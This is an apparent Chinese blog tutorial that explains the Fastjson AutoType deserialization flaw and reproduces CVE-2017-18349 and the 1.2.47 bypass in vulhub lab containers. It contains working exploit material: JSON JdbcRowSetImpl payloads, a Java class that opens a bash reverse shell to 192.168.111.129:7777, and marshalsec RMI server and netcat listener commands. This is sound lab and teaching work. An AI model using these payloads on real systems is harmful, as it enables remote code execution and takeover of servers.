Fastjson漏洞分析与复现

一、基础知识

Fastjson介绍:

fastjson是阿里巴巴开源的JSON解析库,它可以解析JSON格式的字符串,支持将Java Bean序列化为JSON字符串,也可以从JSON字符串反序列化到JavaBean。即fastjson的主要功能就是将Java Bean序列化成JSON字符串,这样得到字符串之后就可以通过数据库等方式进行持久化了。

Fastjson序列化/反序列化原理

fastjson漏洞的本质是一个 java 的反序列化漏洞,由于引进了 AutoType 功能,fastjson 在对 json 字符串反序列化的时候,会读取到 @type 的内容,将json内容反序列化为java对象并调用这个类的setter方法。

那么为啥要引进Auto Type功能呢?

fastjson在序列化以及反序列化的过程中并没有使用Java自带的序列化机制,而是自定义了一套机制。其实,对于JSON框架来说,想要把一个Java对象转换成字符串,可以有两种选择:

1.基于setter/getter

2.基于属性(AutoType)

基于setter/getter会带来什么问题呢,下面举个例子,假设有如下两个类:

java 复制代码
class Apple implements Fruit {
    private Big_Decimal price;
    //省略 setter/getter、toString等
}
 
class iphone implements Fruit {
    private Big_Decimal price;
    //省略 setter/getter、toString等
}

实例化对象之后,假设苹果对象的price为0.5,Apple类对象序列化为json格式后为:

java 复制代码
{"Fruit":{"price":0.5}}

假设iphone对象的price为5000,序列化为json格式后为:

java 复制代码
{"Fruit":{"price":5000}}

当一个类只有一个接口的时候,将这个类的对象序列化的时候,就会将子类抹去(apple/iphone)只保留接口的类型(Fruit),最后导致反序列化时无法得到原始类型。本例中,将两个json再反序列化生成java对象的时候,无法区分原始类是apple还是iphone。

为了解决上述问题:fastjson引入了基于属性(AutoType),即在序列化的时候,先把原始类型记录下来。使用@type的键记录原始类型,在本例中,引入AutoType后,Apple类对象序列化为json格式后为:

json 复制代码
{ "fruit":{ "@type":"com.hollis.lab.fastjson.test.Apple", "price":0.5 } }

引入AutoType后,iphone类对象序列化为json格式后为:

json 复制代码
{ "fruit":{ "@type":"com.hollis.lab.fastjson.test.iphone", "price":5000 } }

这样在反序列化的时候就可以区分原始的类了。

Fastjson反序列化漏洞原理

使用 AutoType 功能进行序列化的 JSON 字符会带有一个 @type 来标记其字符的原始类型,在反序列化的时候会读取这个@type,来试图把JSON内容反序列化到对象,并且会调用这个库的setter或者getter方法。然而,@type的类有可能被恶意构造,只需要合理构造一个JSON,使用@type指定一个想要的攻击类库就可以实现攻击。

常见的有sun官方提供的一个类com.sun.rowset.JdbcRowSetImpl,其中有个dataSourceName方法支持传入一个rmi的源,只要解析其中的url就会支持远程调用!因此整个漏洞复现的原理过程就是:

  1. 攻击者访问存在fastjson漏洞的目标靶机网站,通过burpsuite抓包改包,以json格式添加com.sun.rowset.JdbcRowSetImpl恶意类信息发送给目标机。

  2. 存在漏洞的靶机对json反序列化时候,会加载执行我们构造的恶意信息(访问rmi服务器),靶机服务器就会向rmi服务器请求待执行的命令。也就是靶机服务器问 rmi服务器需要执行什么命令?

  3. rmi 服务器请求加载远程机器的class(这个远程机器是我们搭建好的恶意站点,提前将漏洞利用的代码编译得到.class文件,并上传至恶意站点),得到攻击者构造好的命令(ping dnslog或者创建文件或者反弹shell啥的)

  4. rmi将远程加载得到的class(恶意代码),作为响应返回给靶机服务器。

  5. 靶机服务器执行了恶意代码,被攻击者成功利用。

二、Fastjson指纹特征

1.2.24版本payload:
bash 复制代码
{
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"ldap://dnslog/",
        "autoCommit":true
    }
}
1.2.47版本payload:
bash 复制代码
{
    "a": {
        "@type": "java.lang.Class", 
        "val": "com.sun.rowset.JdbcRowSetImpl"
    }, 
    "b": {
        "@type": "com.sun.rowset.JdbcRowSetImpl", 
        "dataSourceName": "ldap://dnslog/", 
        "autoCommit": true
    }
}

三、漏洞复现

通过 vulhub 靶场进行漏洞复现

Fastjson 1.2.24 反序列化漏洞(CVE-2017-18349)
漏洞详情:

fastjson在解析json的过程中,支持使用 AutoType 来实例化某一个具体的类,并调用该类的set/get方法来访问属性。通过查找代码中相关的方法,即可构造出一些恶意利用链。

环境搭建:

靶场路径:

bash 复制代码
vulhub/fastjson/1.2.24-rce

启动容器:

bash 复制代码
docker compose up -d

环境运行后,访问 http://your-ip:8090 即可看到JSON格式的输出。

复现过程:

因为目标环境是 Java 8u102,没有 com.sun.jndi.rmi.object.trustURLCodebase 的限制,我们可以使用com.sun.rowset.JdbcRowSetImpl的利用链,借助JNDI注入来执行命令。

反弹shell

java 复制代码
// javac GetShell.java
import java.lang.Runtime;
import java.lang.Process;
 
public class GetShell {
    static {
        try {
            Runtime rt = Runtime.getRuntime();
            String[] commands = {"/bin/bash","-c","bash -i >& /dev/tcp/192.168.111.129/7777 0>&1"};
            Process pc = rt.exec(commands);
            pc.waitFor();
        } catch (Exception e) {
            // do nothing
        }
    }
}

编译

bash 复制代码
javac GetShell.java

编译完成后,会发现当前目录下生成了GetShell.class文件

特别注意:要保证 java 和 javac 的版本一致,且都是1.8的版本,高版本的jdk把远程调用修复了。

把编译好的class文件传到外网系统中(这里传到kali服务器)

用python开启一个web服务:

bash 复制代码
python3 -m http.server 8888

访问看看:

接下来使用 marshalsec 项目(需要maven环境编译),或者使用工具 marshalsec-0.0.3-SNAPSHOT-all.jar 启动RMI服务。

监听9999端口并加载远程类TouchFile.class(ip为上面开启的http服务)

bash 复制代码
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.111.129:8888/#GetShell" 9999  

这里运行服务的最好和编译漏洞类的版本一致,且为1.8,不然可能不成功。

nc监听下7777端口(我们GetShell.java里面编写的就是反弹shell到192.168.111.129的7777端口)

访问我们的靶场环境,抓包,修改提交模式为 POST 和添加 Content-Type: application/json,发送payload

bash 复制代码
{
"b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://192.168.111.1:9999/#GetShell",
        "autoCommit":true
    }
}

修改rmi 服务器为上面开启的服务ip

发包,可以看到shell反弹过来了:

Fastjson 1.2.47远程命令执行漏洞
漏洞详情:

fastjson 于1.2.24 版本后增加了反序列化白名单。而在2019年6月,fastjson 又被爆出在 fastjson< =1.2.47 的版本中,攻击者可以利用特殊构造的 json 字符串绕过白名单检测,成功执行任意命令。

环境搭建:

靶场路径:

bash 复制代码
vulhub/fastjson/1.2.47-rce

启动容器:

bash 复制代码
docker compose up -d

环境运行后,访问 http://your-ip:8090 即可看到JSON格式的输出。

复现过程:

目标环境是openjdk:8u102,这个版本没有com.sun.jndi.rmi.object.trustURLCodebase的限制,我们可以简单利用RMI进行命令执行。

Fastjson 1.2.47 和上面的 Fastjson 1.2.24 利用方式基本相同,就是 payload 格式变了点。

其它步骤都一样,抓包,设置 payload

bash 复制代码
{
"a":{
 
    "@type":"java.lang.Class",
 
    "val":"com.sun.rowset.JdbcRowSetImpl"
 
},

"b":{
 
    "@type":"com.sun.rowset.JdbcRowSetImpl",
 
    "dataSourceName":"rmi://192.168.111.1:9999/#GetShell",
 
    "autoCommit":true
    }
}

成功反弹shell

相关推荐
人在码中跑_发在天上飞3 天前
【工具类】理解 TypeUtils 类:深入解析 FastJSON 的类型转换工具
java·工具类·fastjson
M1A119 天前
高性能 JSON 处理:为何选择 Fastjson?
json·fastjson
uhfun23 天前
Fastjson json字符串怎样直接反序列化为对象
后端·fastjson
uccs1 个月前
Spring Boot 配置 FastJson
java·spring boot·fastjson
招风的黑耳2 个月前
fastjson序列化时过滤字段的方法
fastjson·java序列化·过滤字段
burg_xun3 个月前
一次日志记录中使用fastjson涉及到ByteBuffer的教训
java·fastjson
车海滨3 个月前
04-Fastjson反序列化漏洞
网络安全·中间件·fastjson
AskHarries4 个月前
Spring Boot集成fastjson2快速入门Demo
java·spring boot·fastjson